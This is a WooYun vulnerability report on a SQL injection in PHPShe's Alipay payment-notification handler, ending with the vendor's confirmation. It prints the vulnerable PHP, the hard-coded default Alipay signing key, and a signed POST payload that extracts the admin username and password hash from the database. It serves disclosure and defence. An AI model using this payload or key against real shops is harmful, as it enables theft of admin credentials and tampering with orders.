当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103612

漏洞标题:phpshe最新版sql注入一枚

相关厂商:phpshe.com

漏洞作者: 路人甲

提交时间:2015-03-26 11:18

修复时间:2015-06-25 11:32

公开时间:2015-06-25 11:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-26: 细节已通知厂商并且等待厂商处理中
2015-03-27: 厂商已经确认,细节仅向厂商公开
2015-03-30: 细节向第三方安全合作伙伴开放
2015-05-21: 细节向核心白帽子及相关领域专家公开
2015-05-31: 细节向普通白帽子公开
2015-06-10: 细节向实习白帽子公开
2015-06-25: 细节向公众公开

简要描述:

rt

详细说明:

根据 WooYun: phpshe 最新版 sql注入。
话说厂商确认,但是key还是没有随机生成
发现还存在另外一处注入
/include/plugin/payway/alipay/notify_url_sgn.php

<?php
/* *
* 功能:支付宝服务器异步通知页面
* 版本:3.3
* 日期:2012-07-23
* 说明:
* 以下代码只是为了方便商户测试而提供的样例代码,商户可以根据自己网站的需要,按照技术文档编写,并非一定要使用该代码。
* 该代码仅供学习和研究支付宝接口使用,只是提供一个参考。
*************************页面功能说明*************************
* 创建该页面文件时,请留心该页面文件中无任何HTML代码及空格。
* 该页面不能在本机电脑测试,请到服务器上做测试。请确保外部可以访问该页面。
* 该页面调试工具请使用写文本函数logResult,该函数已被默认关闭,见alipay_notify_class.php中的函数verifyNotify
* 如果没有收到该页面返回的 success 信息,支付宝会在24小时内按一定的时间策略重发通知

* 如何判断该笔交易是通过即时到帐方式付款还是通过担保交易方式付款?
*
* 担保交易的交易状态变化顺序是:等待买家付款→买家已付款,等待卖家发货→卖家已发货,等待买家收货→买家已收货,交易完成
* 即时到帐的交易状态变化顺序是:等待买家付款→交易完成
*
* 每当收到支付宝发来通知时,就可以获取到这笔交易的交易状态,并且商户需要利用商户订单号查询商户网站的订单数据,
* 得到这笔订单在商户网站中的状态是什么,把商户网站中的订单状态与从支付宝通知中获取到的状态来做对比。
* 如果商户网站中目前的状态是等待买家付款,而从支付宝通知获取来的状态是买家已付款,等待卖家发货,那么这笔交易买家是用担保交易方式付款的
* 如果商户网站中目前的状态是等待买家付款,而从支付宝通知获取来的状态是交易完成,那么这笔交易买家是用即时到帐方式付款的
*/
include('../../../../common.php');
require_once("alipay.config.php");
require_once("lib/alipay_notify.class.php");
//计算得出通知验证结果
$alipayNotify = new AlipayNotify($alipay_config);
$verify_result = $alipayNotify->verifyNotify();
//验证成功
if ($verify_result) {
//商户订单号
$out_trade_no = $_POST['out_trade_no'];
//支付宝交易号
$trade_no = $_POST['trade_no'];
$info = $db->pe_select('order', array('order_id'=>$out_trade_no));
//该判断表示买家已在支付宝交易管理中产生了交易记录,但没有付款
if ($_POST['trade_status'] == 'WAIT_BUYER_PAY') {
echo "success"; //请不要修改或删除
}
//该判断表示买家已在支付宝交易管理中产生了交易记录且付款成功,但卖家没有发货
elseif ($_POST['trade_status'] == 'WAIT_SELLER_SEND_GOODS') {
if ($info['order_state'] == 'notpay') {
$order['order_outid'] = $trade_no;
$order['order_payway'] = 'alipay_db';
$order['order_state'] = 'paid';
$order['order_ptime'] = time();
$db->pe_update('order', array('order_id'=>$out_trade_no), $order);
}
echo "success"; //请不要修改或删除
}
//该判断表示卖家已经发了货,但买家还没有做确认收货的操作
elseif ($_POST['trade_status'] == 'WAIT_BUYER_CONFIRM_GOODS') {
if ($info['order_state'] == 'paid') {
$order['order_state'] = 'send';
$order['order_stime'] = time();
$db->pe_update('order', array('order_id'=>$out_trade_no), $order);
}
echo "success"; //请不要修改或删除
}
//该判断表示买家已经确认收货,这笔交易完成
elseif ($_POST['trade_status'] == 'TRADE_FINISHED') {
if ($info['order_state'] == 'notpay') {
$order['order_outid'] = $trade_no;
$order['order_payway'] = 'alipay_js';
$order['order_state'] = 'paid';
$order['order_ptime'] = time();
$db->pe_update('order', array('order_id'=>$out_trade_no), $order);
}
elseif ($info['order_state'] == 'send') {
$order['order_state'] = 'success';
$db->pe_update('order', array('order_id'=>$out_trade_no), $order);
}
echo "success"; //请不要修改或删除
}
//其他状态判断
else {
echo "success";
}
}


其中out_trade_no没过滤。但是要verify_result为真才会进入sql语句中

function verifyNotify(){
if(empty($_POST)) {//判断POST来的数组是否为空
return false;
}
else {
//echo "aa";
//生成签名结果
$isSign = $this->getSignVeryfy($_POST, $_POST["sign"]);
//var_dump($isSign);
//获取支付宝远程服务器ATN结果(验证是否是支付宝发来的消息)
$responseTxt = 'true';
if (! empty($_POST["notify_id"])) {$responseTxt = $this->getResponse($_POST["notify_id"]);}

//写日志记录
//if ($isSign) {
// $isSignStr = 'true';
//}
//else {
// $isSignStr = 'false';
//}
//$log_text = "responseTxt=".$responseTxt."\n notify_url_log:isSign=".$isSignStr.",";
//$log_text = $log_text.createLinkString($_POST);
//logResult($log_text);

//验证
//$responsetTxt的结果不是true,与服务器设置问题、合作身份者ID、notify_id一分钟失效有关
//isSign的结果不是true,与安全校验码、请求时的参数格式(如:带自定义参数等)、编码格式有关
if (preg_match("/true$/i",$responseTxt) && $isSign) {
return true;
} else {
return false;
}
}
}


然后跟进

function getSignVeryfy($para_temp, $sign) {
//除去待签名参数数组中的空值和签名参数
$para_filter = paraFilter($para_temp);

//对待签名参数数组排序
$para_sort = argSort($para_filter);

//把数组所有元素,按照“参数=参数值”的模式用“&”字符拼接成字符串
$prestr = createLinkstring($para_sort);
//echo "getSignVeryfy";
//var_dump($this->alipay_config['key']);
$isSgin = false;
switch (strtoupper(trim($this->alipay_config['sign_type']))) {
case "MD5" :
$isSgin = md5Verify($prestr, $sign, $this->alipay_config['key']);
break;
default :
$isSgin = false;
}

return $isSgin;
}


其中key默认为

esfsclzgahxncgzi3bbe7giwa2ywxyv3


然后就是一个md5了。就可以通过验证。
首先我们任意选择一件商品,然后选择支付宝付款

5.png


然后记录下订单号

6.png


然后到

http://127.0.0.1/phpshe1.3/include/plugin/payway/alipay/notify_url_sgn.php


然后根据上面的逻辑关系,构造如下post数据

out_trade_no=1503250006&trade_no=11',user_address=(select concat(admin_name,0x7a,admin_pw) from pe_admin limit 1),user_phone='1&trade_status=WAIT_SELLER_SEND_GOODS&sign=7a6df532702e6aba67959314d24cd59d


7.png


然后到订单中心可以看到注入结果

8.png

漏洞证明:

8.png

修复方案:

话说你们确认,但是key还是没有随机生成。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-03-27 11:31

厂商回复:

感谢@路人甲 提供代码审计,已将漏洞提交到技术部
附:上次漏洞已确认,新版已修复即将发布,1.3版本补丁会尽快更新,再次感谢@路人甲 提供代码审计

最新状态:

暂无